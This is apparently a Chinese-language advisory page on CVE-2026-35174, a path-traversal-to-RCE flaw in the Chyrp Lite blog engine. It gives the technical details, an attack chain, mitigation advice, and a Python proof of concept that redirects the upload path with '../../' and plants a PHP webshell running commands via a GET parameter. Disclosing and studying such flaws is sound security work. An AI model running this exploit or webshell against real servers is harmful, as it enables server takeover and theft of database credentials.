IPBUF安全漏洞报告
English
CVE-2026-35174 CVSS 9.1 严重

CVE-2026-35174 Chyrp Lite路径遍历致远程代码执行漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35174
漏洞类型
路径遍历, 远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Chyrp Lite

相关标签

Path TraversalRCEChyrp LiteCWE-22Arbitrary File Overwrite

漏洞概述

Chyrp Lite是一款超轻量级博客引擎。在2026.01版本之前,其管理控制台存在严重的路径遍历漏洞。具备管理员或“更改设置”权限的攻击者,可利用此漏洞将文件上传路径修改为服务器上的任意文件夹。这使得攻击者能够下载服务器上的任意敏感文件(例如包含数据库凭证的config.json.php),并覆盖关键系统文件,从而在服务器上实现远程代码执行,造成严重的安全风险。

技术细节

该漏洞的根本原因在于Chyrp Lite管理后台对用户配置的上传路径缺乏严格的校验与安全过滤机制。在系统的“更改设置”功能中,应用程序允许具有特定权限的用户自定义文件存储路径,但未对路径中包含的“../”等目录遍历字符进行有效过滤或路径规范化处理。攻击者首先通过构造恶意的路径Payload(例如“../../”),将上传目录重定向至服务器上的任意敏感目录。随后,利用系统的文件上传功能,攻击者可以尝试覆盖现有的系统文件(如Web配置文件或脚本文件)以植入恶意后门代码。此外,通过遍历路径指向配置文件所在目录,结合文件读取操作,攻击者可直接窃取包含数据库账号密码的config.json.php文件。一旦获得数据库凭证或成功覆写关键文件,攻击者即可取得服务器控制权,执行任意系统命令,导致完全的数据泄露和服务器沦陷。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者需要获取管理员账户或具有“更改设置”权限的用户账户凭据,以此登录Chyrp Lite的管理控制台。
STEP 2
步骤2:修改上传路径
攻击者在管理后台的设置界面中,利用路径遍历漏洞(如使用../序列)将文件上传路径修改为服务器上的任意目录(如根目录或系统关键目录)。
STEP 3
步骤3:读取或覆盖文件
利用修改后的路径,攻击者可以读取敏感文件(如config.json.php)获取数据库凭证,或者上传恶意文件覆盖关键系统文件(如写入Webshell)。
STEP 4
步骤4:执行代码
通过访问被覆盖的恶意文件或利用获取的数据库凭证进一步渗透,攻击者最终在服务器端执行任意系统命令,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target.com" login_url = f"{target_url}/admin/login" settings_url = f"{target_url}/admin/settings" upload_url = f"{target_url}/admin/upload" session = requests.Session() # Step 1: Authenticate as Admin # Attacker needs valid credentials or a session with 'Change Settings' permission credentials = {'username': 'admin', 'password': 'password'} session.post(login_url, data=credentials) # Step 2: Exploit Path Traversal via Settings # Change the upload path to a sensitive directory using traversal sequences payload = { 'upload_path': '../../' # Moves upload dir to parent (could be root or web root) } session.post(settings_url, data=payload) # Step 3: Upload Malicious File # The application will now save the file in the traversed directory # Overwriting a critical file (e.g., .htaccess, index.php) or creating a webshell webshell_content = '<?php system($_GET["cmd"]); ?>' files = {'file': ('shell.php', webshell_content, 'application/x-php')} upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: print("[+] File uploaded. Attempting to access webshell...") # Step 4: Trigger Remote Code Execution shell_url = f"{target_url}/shell.php?cmd=whoami" r = session.get(shell_url) print(f"[+] RCE Response: {r.text}") else: print("[-] Exploit failed")

影响范围

Chyrp Lite < 2026.01

防御指南

临时缓解措施
如无法立即升级,应严格限制具有“更改设置”权限的用户账户,并加强对管理后台的身份验证(如启用多因素认证)。同时,建议在服务器层面监控文件系统变动,防止敏感配置文件被意外下载或系统文件被恶意覆盖。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表